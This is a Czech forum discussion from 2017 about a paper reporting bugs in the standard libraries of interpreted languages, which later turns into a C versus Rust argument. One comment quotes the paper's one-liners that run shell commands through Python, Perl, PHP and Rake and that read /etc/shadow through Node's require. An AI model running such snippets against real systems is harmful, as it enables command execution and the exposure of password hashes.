Hlavní navigace

Názory k článku Chyby v programovacích jazycích ohrožují bezpečnost aplikací

Článek je starý, nové názory již nelze přidávat.

  • 12. 12. 2017 3:53

    xyz (neregistrovaný) 94.142.237.---

    Fiddle v Ruby je abstrakce nad libffi (http://ruby-doc.org/stdlib-2.4.1/libdoc/fiddle/rdoc/Fiddle.html). Samozřejmě, že tím lze vyvolat segfault, na není potřeba fuzzer...

  • 12. 12. 2017 7:14

    petr_p (neregistrovaný) 2002:5966:09--:----:----:----:----:----

    <blockquote>Protože se programy vyskytují v interpretru, může je programátor jen velmi těžko ovlivnit.</bloc­kquote>

    Chtěl jsem napsat, že to ve vší obecnosti není pravda, protože nalezené chyby nejsou v interpreteru, ale v knihovnách, které se standardně dodávají s interpreterem, a tudíž pisatel je musí explicitně zavolat. To je případ perlové chyby, kde postižená funkce ExtUtils::Type­maps::Cmd::em­beddable_type­map() na celém CPANu se volá přesně nulakrát. Ostatně stejně kriticky se k ní staví správci Perlu, když hovoří o zranitelnosti v uvozovkách.

    Nicméně autor článku ve svém senzacechtivém zápalu udělal chybu a o tom, že programy se vyskytují v interpreteru, nelze polemizovat.

  • 12. 12. 2017 12:43

    karel (neregistrovaný) 88.146.200.---

    takze jediny Node.js nedovoli spusti vzdalene kod na serveru? pokud ano, tak me to potesilo :)

  • 12. 12. 2017 12:53

    Inkvizitor (neregistrovaný) ---.net.upcbroadband.cz

    Nic takového snad ten článek netvrdí. Celkově mi to ale přijde jako slušný blábol.

  • 12. 12. 2017 13:38

    tnr

    Ach jo. To je zase senzacechtivy clanek (a resp. cely ten prispevek do te konference).
    V programovacich jazycich lze napsat kod, ktery (diky tomu, ze typicky provolava nejakou nativni knihovnu - tzn. je to wrapper) muze shodit interpret - kdo by to tusil, ze :-)

    Realne security diry vznikaji tim, ze programator nesanitizuje vstup - tzn. ze se mu tam nejaky takovy bordel vubec dostane. Pokud to nedela, tak mu stejne zadne kontroly nepomuzou v knihovnach / interpretu atd a derave to stejne bude napr. na ruzne injection chyby.
    Samozrejme, je fajn, pokud i tyto bridge knihovny provadi dukladnou kontrolu parametru - ale benefit je spis pro programatora pro ladeni :-)

    Je to trochu na urovni toho, ze C je derave, protoze kdyz budu mit spatny pointer, tak to spadne...

  • 12. 12. 2017 14:08

    Honza (neregistrovaný) 91.219.246.---

    On tam nemusí být ani ten špatný pointer, aby to spadlo. Úplně jednoduše stačí, když externí knihovna bude volat exit() a tím vám shodí celou aplikaci.

  • 12. 12. 2017 15:42

    . . (neregistrovaný) ---.aoj.io

    tohle jsou security issue. Takovýhle pád je právě zneužitelný k DoS útoku.

    coredump, který takový pád vygenerovuje může být čitelný (a očividně v řadě těhle jazyků je) samotným procesem a útočník se k němu může dostat, z podstaty tenhle coredump obsahuje i citlivá data vč. heselo do databází.

    Řada těch vstupních hodnot co se zkoušela není o sanitizaci vstupu.

  • 12. 12. 2017 17:59

    tnr

    Tak poprosim o alespon jeden exploit v nejake realne aplikaci.

    coredump je ze sve podstaty bezpecny - pro suid aplikace je standardne vypnuty ( nekd by ho musel explicitne zapnout pomoci /proc/sys/fs/­suid_dumpable), pro aplikace bezici pod stejnym uctem je to jedno, protoze uzivatel muze presne to stejne, co ona aplikace (takze se jedna pouze a jen o pad).

    Cetl jsem paper a opravdu tam nevidim zadne moc realne security chyby, spise obcasny neosetreny vstup, kde je na diskusi, jak moc ma knihovna kontrolovat vstupy pro provolani nativni knihovny (samozrejme v idealnim pripade to delat bude 100 %, ale to, ze to nedela, je opravdu na hony vzdalene bezpecnostni chybe).

    Par prikladu nesmyslu:
    $ python -c "import mimetools;prin­t(mimetools.pi­peto(None,'id'))"
    - nedokumentovany prikaz spousti prikaz, ktery se mu specifikujeme - v cem presne je security chyba?

    $ perl -e "use ExtUtils::Type­maps::Cmd;print
    embeddable_ty­pemap(\"system 'id'\")
    - metoda, kterou v celem CPAN nepouziva nikdo a ktera v dokumentaci specifikuje This will try to load a module ExtUtils::Type­maps::Excommu­nicated and use it as an ExtUtils::Typemaps subclass. If that fails, it'll try loading Excommunicated as a module, if that fails, it'll try to read a file called Excommunicated. It'll work similarly for the second argument, but the third will be loaded as a file first. - tzn je jasne, ze pracuje s vykonym kodem, kdyz umoznuje nacteni modulu. Uznavam, ze je vhodne to osetrit trochu lepe / nebo lepe zdokumentovat - ale opet, toto neni bezpecnostni chyba

    "console.log(re­quire('/etc/sha­dow'))"
    - gratuluji, pri inclduovani /etc/shadow se muze vypsat /etc/shadow - kdo by to kdy tusil :)

    Rake.load_rake­file("http://x­.x.x.x/canary­file")'
    - kdyz do Rake napiseme nazev souboru / URL, tak ho nacte

    php -r "echo shell_exec(id);"
    - kdyz rekneme PHP at spusti id (ano, implicitni konverze na string je ze strany PHP prasarna, ale opet, neni to security chyba), tak ho spusti

    Potom tam mame crashe:
    * ChakraCore spadne, OK, budiz, to se stava, exploitovatelnost je otazkou a ta konstrukce nedava zadny smysl (a popravde o existenci ChakraCore jsem se dozvedel az ted :-d)
    * HVVM - OK, kdyz predame _neplatne_ parametry teto funkci, muze spadnout - slusi se opravit, ale pokud nekdo predava nazvy promennych z uzivatelskeho vstupu, tak je proste prase a pravdepodobne tech der ve svem kodu bude mit mraky. Ale padat by to nemelo.
    * Ruby - kdo by to tusil, ze kdyz pouzijete knihovnu, ktera pristupuje k nativni pameti a knihovnam, ze to muze spadnout...
    * PyPy - ok, nejde dat infinity na sleep, ale opet - jak by se v DOBRE napsanem programu toto dostalo od uzivatele (resp. proc by to vubec slo od uzivatele?)
    * CERT_asHash - opet interakce s nativni funkci

    Takze secteno a potvrzeno autor:
    * Nasel nekolik padu v knihovnach a nekolika reimplementacich puvodnich jazyku
    * Nekolik pripadu nesikovne dokumentovanych funkci
    * Nekolik odlisnosti v implementacich ruznych jazyku
    * Zjistil, ze pri volani bridgu do nativnich knihoven to muze spadnout

    Ale realne security chyby tam opravdu moc nevidim - vse je zneuzitelne pouze za predpokladu extremne specifickych pripadu, velmi specifickych programatorskych chyb ve vlastnim kode (ktere v mnoha pripadech je temer nemozne neodhalit behem ladeni), takze toto halo, ktere tento paper vyvolal, je zcela neopravneny a pusobi to dojmem, ze autor na sebe proste jen chtel strhnout pozornost, resp. upozornit na svuj tool (za ten framework si zaslouzi pochvalu, ale toto opravdu neni vhodny priklad prezentace - otazkou je, jak moc za to muze samotny autor a jak moc to proste zprocesovaly ruzna media).

    Cele mi to pripomina penetracni testovani od ruznych expertu ve stylu pustil jsem Nessus, mate tam 1000000 vaznych bezpecnostnich der :)

    Snad mu ale nikdo neukaze jazyk C, tam muze pri spatnych argumentech spadnout 99 % funkci, z toho by mohl mit sok :)

  • 12. 12. 2017 18:08

    tnr

    A jeste maly dodatek - ano, je to takovy rant. Ale diskutovat o tomhle jako o nejakych zavaznych security chybach s takovouto publicitou, kdyz tu (skoro) kazdemu smrdi v CPU HW backdoor (hello Intel), to me prijde fakt dost mimo.

    Ale uznavam, ze misto prispevku na konferenci zalozit 10 low prio bugreportu v prislusnych projektech, by nebylo pro autora tak cool :-)

  • 12. 12. 2017 18:34

    . . (neregistrovaný) ---.aoj.io

    obhajoba typu, já to zneužít neumím, neumí to nikdo je v případě security hodně nebezpečná.

    coredump vždy bezpečný není, v případě php se třeba může vytvořit v místech, kam vidí apache a odkud ho dovolí přes web stáhnout. Mohu díky němu zaplnit disky a může umřít služba, která sloužila k obraně nebo naopak tím zabráním generování logů a moje aktivita je skryta. Data, která jsou běžně přístupná jen v paměti v daném OS jsou najednou přístupná na FS.

    console.log(re­quire('/etc/sha­dow')) může být problém, občas do require jde vstup z venku a koho by napadlo, že místo načtení js souboru ho to vypíše, pokud se nejedná o js? Opět může existovat situace, kdy to je hodně nebezpečné chování a programátor na to nemyslí. Vstup sice řádně ošetří, ale nenapadne ho, že třeba takhle se bude dát za jistých okolností načíst určitý soubor (třeba konfigurace, coredump či cokoliv jiného).

    Security je často o extrémně specifických případech :). Ano, většina těch věcí jsou drobnosti, ale nemají tam co dělat, argument, že teď nevím jak bych to zneužil rozhodně neznamená, že určitou konsekvenci s jinou drobnou chybu noetevřu vrata do systému.

    Jakékoliv nečekané nebo nedokumentované chování dává prostor pro zneužití a nemělo by se vyskytovat.

  • 12. 12. 2017 18:45

    j (neregistrovaný) 2a01:8d00:4000:----:----:----:----:----

    2Tomáš2: Proc tak slozite, uz sem parkat narazil na web kde jim nejspis zbuchla databaze, a pekne to vsem poctive hlasilo jak se jmenuje server, jakej je login i heslo ...

  • 13. 12. 2017 14:16

    eee (neregistrovaný) ---.eurotel.cz

    výpis zdrojáku u dobreho programu nicemu nevadi, v opacnem pripade by bylo nebezpecne cele open source

  • 12. 12. 2017 18:58

    tnr

    > obhajoba typu, já to zneužít neumím, neumí to nikdo je v případě security hodně nebezpečná.

    Tak prosim, rad kouknu na priklad od nekoho jineho :-)

    > coredump vždy bezpečný není, v případě php se třeba může vytvořit v místech, kam vidí apache a odkud ho dovolí přes web stáhnout. Mohu díky němu zaplnit disky a může umřít služba, která sloužila k obraně nebo naopak tím zabráním generování logů a moje aktivita je skryta. Data, která jsou běžně přístupná jen v paměti v daném OS jsou najednou přístupná na FS.

    Ano, to je pravda, coredump muze zaplnit disk, proto se coredump na produkcnich systemech:
    a) malokdy povoluje
    b) kdyz je povoleny, posila se na nejakou sluzbu typu abrt ci systemd

    Tvorit coredumpy kdekoliv v systemu snad uz nikdo nedela. Ale opet, aby vubec k tomu coredumpu doslo, tak musi programator zanedbat naprosto elementarni pravidla pro vyvoj.

    Je to stejne jako s tim, proc se coredumpy neukladaji do aktualniho adresare - knihovny proste maji bugy a interpretovany jazyk neni zadna zaruka - proto se dodrzuji (vetsinou i distribucne defaultni) nejaka zakladni pravidla pro praci s vecmi jako coredump.

    > Security je často o extrémně specifických případech :).

    Nepovidej :-D

    > Ano, většina těch věcí jsou drobnosti, ale nemají tam co dělat, argument, že teď nevím jak bych to zneužil rozhodně neznamená, že určitou konsekvenci s jinou drobnou chybu noetevřu vrata do systému.
    > Jakékoliv nečekané nebo nedokumentované chování dává prostor pro zneužití a nemělo by se vyskytovat.

    Pokud ti vadi jakekoliv necekane, nebo nedokomumentovane chovani, tak v tom pripade 99% interpretovanych jazyku a jejich knihoven nemuzes pouzivat vubec.

    A zakladem kazdeho dobre navrzeneho systemu je velmi opatrna prace s uzivatelskym vstupem a defenzivni programovani. A na tomto pohori snad vsechny tyto nareportovane "security problemy".
    Ja nerikam, ze to nejsou chyby, ale ze to nejsou security chyby, jsou to normalni bugy, jakych je fura v kazdem velkem SW objeveno kazdy rok (vc. treba veci jako kernel). Nerozporuji, ze se to ma opravit, rozporuji to halo okolo toho - protoze skoro vse jsou pomerne low priority bugy.

    A ze se da udelat SW, ktery bude exploitovatelny, pokud kaslu na praci s uzivatelskym vstupem a mam spatne nakonfigurovany SW, to se samozrejme vi :)

    A nehlede na to, ze pokud nekdo dela console.log(re­quire('/etc/sha­dow')) s uzivatelskym vstupem, tak si zaslouzi jedine - aby mu nekdo cely ten server smazal a on uz pro dobro lidstva nikdy nic neprogramoval a neadministroval.
    Jsou veci, ktere proste s uzivatelskym vstupem nikdy nedelaji z bezpecnostnich duvodu a ten require je proste krasny priklad jednoho z toho.

  • 12. 12. 2017 19:24

    . . (neregistrovaný) ---.aoj.io

    nejvěrohodnější příklad je až napadená aplikace :). Spoléhat na to, že útočník není chytřejší než já není opravdu dobrý nápad.

    Ano, žádná z těch chyb by se nedala v dobře nastaveném systému a dobře napsané aplikaci zneužít, ale v praxi ty systémy jsou v takovém stavu, že i tahle drobnost stačí k velkým problémům. Většina systémů je provozována s výchozí konfigurací z distribucí/balíčků.

    Souhlas, že je kolem toho zbytečné halo a stejně tak souhlasím, že většina těch chyb jsou drobnosti i za mě. Donutit aplikaci k pádu ale považuji za kritický problém.

    Ano, dát uživatelský vstup do require je extrémní blbost, ale ve složitější aplikaci se může útočníkovi podařit do require propašovat svůj vstup díky naprosto jiné elementární chybě a máš problém. Za mě by require neměl načítat obsah souboru pokud to není validní js, dříve to node.js nedělal (očekávám, že to je chyba z node.js).

  • 12. 12. 2017 19:52

    tnr

    > nejvěrohodnější příklad je až napadená aplikace :). Spoléhat na to, že útočník není chytřejší než já není opravdu dobrý nápad.

    To je dost obecny prohlaseni - zase priklad s C - tam s spatnym vstupem spadne 99% funkci ? budeme rikat, ze C je derave? Urcite ne.
    Spolehat na IQ utocnika urcite neni na miste - dodrzovat zasady defenzivniho programovani, validovat vstupy, mit pod kontrolou konfiguraci serveru je ovsem NORMALNI. Bugu, jako jsou tyto, jsou mraky, kazdy framework / knihovna / runtime je ma a proto je nutne aplikace programovat urcitym stylem a rozlisovat, co funkce dela, kdyz ji predavam vstup.
    Visco, pokud by napr. nasel, ze v == za urcitych pripadu se spatne porovnava stringy a muzu tam dopasovat nejaky bordel, ktery projde validaci a pak se preda do nativni knihovny - nereknu popel, to je zavazna chyba. Ale ne to, ze require vypise obsah souboru (coz se da zneuzit mnohem lip nez takto a hlavne, vsichni to vi).

    > Ano, žádná z těch chyb by se nedala v dobře nastaveném systému a dobře napsané aplikaci zneužít, ale v praxi ty systémy jsou v takovém stavu, že i tahle drobnost stačí k velkým problémům. Většina systémů je provozována s výchozí konfigurací z distribucí/balíčků.
    A zrovna ta vychozi konfigurace na skoro kazde velke server distribuci treba nepovoli ten core :) A hlavne ty pady jsou docela obskurni, opravdu si nedovedu predstavit regulerni use case, ze by nekdo chtel delat neco takoveho (nerikam, ze se nemuze stat - ale takova aplikace tech problemu bude mit mraky vice a nepomuze tam ani svecena voda).

    > Souhlas, že je kolem toho zbytečné halo a stejně tak souhlasím, že většina těch chyb jsou drobnosti i za mě. Donutit aplikaci k pádu ale považuji za kritický problém.
    Ano, to souhlasim - ale porad si stojim za tim, ze za to muze programator. Napr. v C pokud predam spatne parametry strlen, tak to spadne. Nebo do dlsym. Nebo do skoro cehokoliv. Muze za to ta funkce? Urcite ne. Muze za to programator, ktery tam ten bordel poslal? Zcela jiste.

    > Ano, dát uživatelský vstup do require je extrémní blbost, ale ve složitější aplikaci se může útočníkovi podařit do require propašovat svůj vstup díky naprosto jiné elementární chybě a máš problém. Za mě by require neměl načítat obsah souboru pokud to není validní js, dříve to node.js nedělal (očekávám, že to je chyba z node.js).

    A PHP by v require/include melo poznat, ze nejde o PHP (a co kdyz je to jen staticka sablona?). A vubec, jak se pozna takovy validni JS, co kdyz to jen vypada jako JS (vetsina JS chyb je runtimovych).

    Takze kde by ta kontrola mela koncit ? Ne, tady se clovek nedobere smysluplneho reseni.
    Je to podobne, jako se v PHP snazili resit SQL injection pomoci magic quotes - lepeni problemu ojebem.

    Takze za me - secteno a podtrzeno - pady patri opravit, chyby typu require muze v chybe zobrazit vstup jdou rozhodne za programatorem aplikace.

  • 13. 12. 2017 9:00

    rust lopata (neregistrovaný) 2a02:598:7001:----:----:----:----:----

    To je dost obecny prohlaseni - zase priklad s C - tam s spatnym vstupem spadne 99% funkci ? budeme rikat, ze C je derave? Urcite ne.

    Ano :). Problém v C není ani tak v tom, že by funkce (definovaně) spadla, ale že spousta věcí vede na UNDEFINDED BEHAVIOUR. Tohle hlavně vede na security issues. Samozřejmě z toho lze vždy vinit programátora, on udělal chybu, takže je za to zodpovědný, ale je to alibistický přístup. Lidé prostě chyby dělají a dělat budou. Přitom stačí dost málo, nepoužívat C, ale něco modernějšího, třeba Rust, to by situaci dost vylepšilo.

  • 13. 12. 2017 13:48

    tnr

    Jako trolling dobry :-)

    Jojo, prepiseme treba kernel do rustu, to urcite hodne pomuze, zvlast kdyz tam bude jedna unsafe sekce za druhou :-) Takto, Rust mam rad, je to fajn jazyk pro spoustu pripadu, ze strany Mozilly to byl konec koncu celkem genialni krok, ale vydedukovat z toho, ze C je derave, vyzaduje hodne velkou akrobacii :-)

    Fascinuje me, ze vzdy kdyz vyjde novy jazyk / framework / whatever, tak z toho vydedukuji, ze to vsechno stare je uz automaticky nevhodne a na nic.

    Rust je super, ale zrovna C je jazyk, ktery neumre snad nikdy - je to v podstate takovy hezci assembler, ktery umoznuje psat vysoce efektivni kod s velmi malou rezii. Ne nadarmo se rika, ze je to jazyk pro systemove programovani.
    Rust ho rozhodne nenahrazuje, ale velmi dobre doplnuje :-)

  • 13. 12. 2017 15:34

    rust lopata (neregistrovaný) ---.seznam.cz

    Takže si to shrneme.

    C je silně unsafe jazyk. Používá se hlavně z historických důvodů, protože nic lepšího nebylo. Přepisovat velké existující věci do Rustu se nebudou, protože by to stálo spoustu peněz, které nikdo nezaplatí. C bude existovat ještě hodně dlouho, stejně jako třeba COBOL. To ale neznamená, že je C nějak dobré a vhodné. Naopak, C veškerou zodpovědnost za bezpečnost kódu přenáší na programátora.

    Rust je výkonem na úrovni C (ve skutečnosti je to aktuálně asi 90% rychlosti C). Velkou část unsafe věcí z C řeší a eliminuje všechny bezpečností chyby typu buffer ovetflow, use after free apod (a že je jich opravdu dost...). Jenom hlupák by na novou aplikaci, která řeší bezpečnost, vybral C místo Rustu. Pokud chceš být hlupákem, tvoje volba.

    Jako trolling je to ale od tebe slabé.

  • 13. 12. 2017 19:26

    tnr

    Jop, 10% vykonu hodit kanalem, to je pohoda, stejne jako v urcitych pripadech delat (z pohledu vykonu) zbytecne kontroly.

    A hlavne nechapu, o cem se me snazis presvedcit - ja programuji jak v C, tak v Rustu. Rust je dobry programovaci jazyk, na udelani browser jadra uplne genialni volba.

    Ale to neznamena, ze se hodi napr. na vytvoreni enkoderu H265 :-) Proste je to nastroj, je to dobry nastroj na urcite typy uloh, na jine ulohy jsou lepsi zase jine nastroje a tak je to v poradku. Tenhle fanatismus a fanboy pristup vazne nechapu.

  • 14. 12. 2017 3:00

    rust lopata (neregistrovaný) ---.net.upcbroadband.cz

    Porovnání výkonu je vždycky zavádějící, jsou úlohy, ve kterých je rychlejší Rust než C, průměrně to vychází víceméně jako plichta: https://benchmarksgame.alioth.debian.org/u64q/rust.html

    Nesnažím se tě přesvědčit o ničem, jenom vyvracím tvoje nesmysly o tom, že by se projekty, kde jde o bezpečnost, měly psát v C a že za všechno může programátor. To je opravdu hloupé, protože Rust je oproti C lepší snad úplně ve všem a dává bezpečnostní garance, které C nikdy dávat nebude. Většinu bezpešnostních chyb (chyb programátora) Rust chytí už při kompilaci, vůbec se to nepřeloží. Smiř se s tím, že C je zastaralé a nesplňuje požadavky na bezpečný programovací jazyk.

    Na vytvoření enkoderu se nehodí ani C. Enkodery H265 se dělají na specializovaném hardware. Je vidět, že nemáš moc přehled.

  • 13. 12. 2017 20:10

    PetrM (neregistrovaný) ---.static.oxid.cz

    Co je na něm unsafe? Prostě si jenom nehlídá meze polí, nehlídá přetečení integer operací, má chabrus typový systém, některý věci jsou o kompromisu mezi bezpečností a čistým kódem, ale jinak až na pár drobností typu implicitní přetypování čehokoliv na int je celkem v pohodě...

    Pokud se teda do toho nevloží někdo, kdo píše stylem

    if(a == TRUE) ...

  • 14. 12. 2017 3:12

    rust lopata (neregistrovaný) ---.net.upcbroadband.cz

    Do toho seznamu si taky přidej, že C ještě nehlídá validitu pointeru a obecně přístup do paměti. Chyby typu:

    free(pointer);
    ...
    tyhle_data_ted_pos­lu_klientovi_po_si­ti(pointer, delka);

    Jsou opravdu zábavné, někdy získají takovou publicitu, že o nic píšou i na novinkách: https://www.novinky.cz/internet-a-pc/332872-sifrovaci-knihovna-openssl-ma-zavaznou-bezpecnostni-chybu.html

    Rust tohle řeší, takový chybný kód se ani nezkompiluje a přitom Rust nepřidává žádný runtime overhead navíc oproti C.

  • 14. 12. 2017 8:21

    . . (neregistrovaný) ---.aoj.io

    jen šťouravá otázka, pokud se programátor v C dopouští takových chyb neukazuje to spíše na jeho nekázeň a špatné kontrolní procesy (třeba si sám autor svůj kód neprochází a dostatečně netestuje)? Jak velká šance existuje, že se bude dopouštět fatálních chyb i v rustu?

    Nezpochybňuji výhody rustu, zpochybňuji, že to zabrání chybám, programátoři jsou velice nápadití a najdou si jiné způsoby jak nám rozbíjet naše čisté programy :).

  • 14. 12. 2017 8:31

    rust lopata (neregistrovaný) 2a02:598:7001:----:----:----:----:----

    Takové chyby se objevují ve všech projektech, které jsou psané v C. Včetně linuxového kernelu, openssl a podobných kritických projektů, které dělají zkušení programátoři a mají zavedené code review. Přesto se i tam bezpečnostní chyby objevují stále. Není v lidských silách ohlídat všechno, komplexnost software je už příliš vysoká na to, aby člověk dokázal domyslet všechny důsledky.

    Rust řeší největší slabinu C, což je unsafe memory managenent, který vede na ty nejhorší bezpečnostní chyby (remote code execution, information exposure...). Ani Rust ale nedokáže zabránit všemu a nikdo se to ani nesnaží tvrdit, pokud programátor načte z disku privátní klíč a pošle ho klientovi, tak je úplně jedno, v čem to napíše a bude to průšvih. Nicméně Rust dokáže zabránit všem chybám, které vznikají z nesprávného přístupu k paměti. A dokáže to bez nějakých runtime režií navíc.

  • 14. 12. 2017 21:48

    . . (neregistrovaný) ---.aoj.io

    chyby v C, které zmiňuješ nejsou o komplexnosti, ale o elementárních a těžko odhalitelných chybách. Problémy v komplexnosti budou i v Rustu.

    Nepřu se s tebou o výhodách rustu. Raději bych viděl fungující SW vývoj nad C a poté přechod na rust než se snažit problémy ve vývoji záplatovat rustem, s velkou pravděpodobností povedou k jiným chybám i v rustu.

  • 14. 12. 2017 22:16

    xxxxx (neregistrovaný) ---.142.broadband5.iol.cz

    Tomáš2: Pokud jsem pochopil, tak Rust opravdu spoustu typů chyb nepřipustí. Ale např. za cenu toho, že neuděláš obousměrný seznam. A pokud uděláš, tak (minimálně) jeden ze směrů je obdobně unsafe, stejně jako by to bylo C. To byl jen příklad už mírně složitější komplexní struktury. Nemyslím konkrétně jen toto. Nevýhoda Rust je, že pokud máš zůstat v safe oblasti, tak v principu tam některé konstrukce neuděláš. Celý návrh musíš koncipovat jinak. Což někdy, jede-li člověk low level (a někdy ani to netřeba), buď vůbec nejde, anebo za vysokou cenu (čas, paměť. náročnost, ...)

    Takže chyby zanesené do Rust budou např. i takové, které vzniknou z nižších úrovní (psaných nižších jazycích) za použití unsafe volání, které na určité úrovni prostě vznikne, protože čistým Rustem neřešitelné.

  • 15. 12. 2017 6:20

    rust lopata (neregistrovaný) ---.net.upcbroadband.cz

    Jenom se zeptám, kdy naposledy jsi měl potřebu implementovat ručně obousměrný seznam a nepoužil na to radši knihovnu? Já se přiznám, že nikdy, vždycky jsem vzal knihovnu.

    Obousměrný seznam jde v safe Rustu udělat, ale není to moc elegantní a má to svoje nevýhody: http://cglab.ca/~abeinges/blah/too-many-lists/book/fourth-final.html
    Doporučuju přečíst i to před tím.

    Prakticky je lepší vzít knihovnu, ve které to nějaké to unsafe bude, ale s vysokou pravděpodobností bude to usafe udělané správně. V user space kódu pak žádné usafe není.

  • 15. 12. 2017 6:00

    rust lopata (neregistrovaný) ---.net.upcbroadband.cz

    Mýliš se, chyby které zmiňuji, jsou o komplexnosti. V C je například obtížné udržet informaci o validitě pointeru. Např. pokus o smart pointer v čistém C s počítáním refcountu je dost na hlavu, musíš stále myslet na to, kdy refcount zvýšit a snížit a jakákoliv opomenutí vede k těžko ohalitelným chybám. Druhá kategorie jsou data races v multithread aplikacích, tohle je taky hodně obtížné udělat správně a stále se v tom dělají chyby (i ti nejlepší programátoři...).

    Rust tohle všechno řeší už při kompilaci, pokud takovou chybu uděláš, program se vůbec nezkompiluje.

    A ještě jedna věc, Rust není o nějakém záplatování chyb. Rust nabízí mnohem vyšší míru abstrakce než C, např. má i generika. Vývoj v C bude pomalejší a dražší než v Rustu a výsledek bude horší.

  • 15. 12. 2017 9:05

    . . (neregistrovaný) ---.aoj.io

    no zrovna refcount je příklad, kdy je velice komplexní takovou chybu najít, ale není to důsledek komplexnosti aplikace, ale absence chytřejšího memory managementu a nedůslednosti programátorů, špatném způsobu testování.

    Argument s race condition uznávám, mutex není řešení a bojume s tím i v jiných jazycích, dokonce i v rustu (sic), ne v samotném kódu aplikace, ale v její interakcí mezi více nody v clusteru, s databází či při load balancing a hodně vysoké frekvenci volání update procedur. A o tom mluvím, pokud programátor udělá race condition chybu v C, je velká šance, že stejnou chybu udělá i na vyšší úrovni aplikace v rustu. Já jdu raději cestou naučení programátorů jak tyhle chyby hledat, na co si dávat pozor, co kontrolovat, jak k problémů přistupovat, jaké jiné algoritmy mohou použít, vede to daleko k méně chybám než bylo dosaženo výměnou jazyka.

    Tou záplatou jsem nemyslel způsob jak je rust udělaný, ale ta samotná výměna jazyka a spolehnutí na to, že tyhle chyby zmizí.

    V jednom oddělení jedné analytické/datové spolešnosti se přešlo na rust (původně většina věcí byla v C/C++, Python, Scala), teď už většina nových věcí je v rustu (volba samotných programátorů, nikdo je k tomu nenutil, jen se dala ta možnost). K odstranění řadě chyb v aplikacích ale nedošlo, jen se přesunuly na jinou úroveň a ty programátoři stejně dělaly chyby, výrazně pomohlo až školení, mentoring, párové programování či lepší komunikace v týmu a poučení se z chyb.

    Ze své zkušenosti bych subjektivně řekl, že většina chyb není z nepozornosti ale z neznalosti (ať už jsem na nějakou věc zapomněl nebo jí vůbec neznám).

  • 15. 12. 2017 9:21

    rust lopata (neregistrovaný) 2a02:598:7001:----:----:----:----:----

    Pointa je v tom, že Rust nabízí mnohem vyšší míru abstrakce než C. V Rustu nemusím refcount vůbec řešit, použiju Rc<T> a všechno za mě udělá překladač/knihovna. Takže nemusím hledat chybu ve špatné inkrementaci/de­krementaci refcountu, nemůže to nastat. Režie navíc oproti ručnímu řešení v C je nulová.

    Jen pro upřesnění, Rust nedokáže obecně zabránit race conditions, např. lze v Rustu vyrobit deadlock špatným zamykáním mutexů. Rust ale dokáže zabrátnit data races, což znamená nekorektní přístup k datům z více threadů (např. současně zápis i čtení), tohle se chytí už při překladu.

    Většina bezpečnostních chyb typu buffer overflow, use after free apod. je z nepozornosti, programátoři dobře vědí, co nemají dělat a stejně to udělají. Tohle Rust dokáže chytit, taková chyba se v Rust programu nemůže vyskytovat, chytí se to už při překladu.

  • 15. 12. 2017 10:54

    . . (neregistrovaný) ---.aoj.io

    očividně se točíme ve smyčce, ty pořád mluvíš o výhodách rustu, o tom jak to tam je super, já ti řikám, hele, nám to ze zkušenosti stejně ty chyby neodstranilo a vznikly nové, špatný programátor zůstane špatným i v jiném jazyku...

    Jej, sorry, psal jsi opravdu o data race a ne o race condition, to ale nemění můj argument, že zrovna tahle chyba přetrvává i v rustu a stejně s tím vznikají problém, i bezpečnostní.

    Zažil jsi přechod nějakého většího projektu/týmu na rust? Máš s tím zkušenosti nebo si jen píšeš aplikace sám?

  • 15. 12. 2017 11:58

    rust lopata (neregistrovaný) 2a02:598:7001:----:----:----:----:----

    Stále dokola říkám: Rust odstraní všechny chyby, které vznikají špatnou prací s pamětí. Neexistuje buffer overflow, neexistuje use after free, nestane se ti, že útočník přepíše buffer na zásobníku svým kódem. Bavíme se v kontextu bezpečnosti, tady je Rust kosmicky dál než C.

    Jestli to někdo pochopil tak, že použitím Rustu mávnutím kouzelného proutku zmizí všechny chyby v software, tak to je samozřejmě nesmysl.

    My máme spoustu legacy kódu a dlouhodobé projekty v C++, které nikdo do Rustu přepisovat nebude, nikdo by to nezaplatil. Takže otázka přechodu na Rust u většího projektu u nás nemá smysl. Svoje věci si píšu v Rustu, ale do týmu ho násilně nenutím, ani by to nešlo, nikdo nezahodí miliony řádků kódu v C++ s tím, že od zítřka to bude Rust.

  • 14. 12. 2017 12:34

    Karel (neregistrovaný) ---.cust.nbox.cz

    Já mám z vašeho příspěvku pocit, jako by byl Rust nějaký zázrak. Že je to konečně jazyk, u kterého platí "když to jde zkompilovat, tak to funguje!"

  • 14. 12. 2017 13:45

    rust lopata (neregistrovaný) 2a02:598:7001:----:----:----:----:----

    Tak samozřejmě není, u Rustu ale narozdíl od C platí: Když to jde zkompilovat, tak tam není nekorektní přístup do paměti, nenastane SEGFAULT a není tam data race.

  • 14. 12. 2017 16:46

    j (neregistrovaný) 2a01:8d00:4000:----:----:----:----:----

    "Rust, to by situaci dost vylepšilo"
    jo, to jiste ... 1e234 ... takovy obycejny ... cislo. Nebo 0xaf31 ... to taky bezne lidi chapou ze je cislo.

    Pokud je programator dobytek je uplne jedno v cem to pise.

  • 13. 12. 2017 18:35

    D.A. Tiger

    Petre budu-li reagovat jen na ten dost zavadejici nazev clanku, tak obecne ano, jakakoliv chyba v programovacim jazyku muze vest k pruseru ;) I kdyz... v M$ by vysvetlili, ze to nejsou chyby, ale "features". Avsak clanku slo o SKRIPTOVACI jazyky. Coz je podmnozina programovacich jazyku vyssi urovne.

  • 13. 12. 2017 19:19

    tnr

    V praci hlavne neni zadna chyba v jazyku (to by implikovalo chybu napr. ve specifikaci), dokonce snad ani v zadnem intreptru.
    Spravny nazev clanku mel znit Chyby v nekterych funkcich v nekterych knihovnach nekterych programovacich jazyku :)

  • 13. 12. 2017 20:00

    PetrM (neregistrovaný) ---.static.oxid.cz

    Tak tak, chyba v jazyku je třeba to, že v pokud mám ve struktuře bitový pole, tak C jednoznačně nedefinuje pořadí bitů. Nebo to, že nejmenovaný jazyk nemá typovou kontrolu a když do čísla napíšu text, tak se nic neděje do chvíle, než ho použiju pro nějakou matematickou operaci...

    Tohle se týká knihoven. A pokud jde o knihovnu (čti cizí kód), tak tam jsou dva extrémy - buďto jsou 80% kódu aserce a je to pomalý jak Windows Update, nebo aserce omezím, celý se to zrychlí a zmenší (pokud mám proměnnou, která nesmí být nulová, nacpu ji postupně do pěti funkcí, není důvod ji 5x testovat na nulu), ale zase si musím ohlídat, co do toho pouštím.

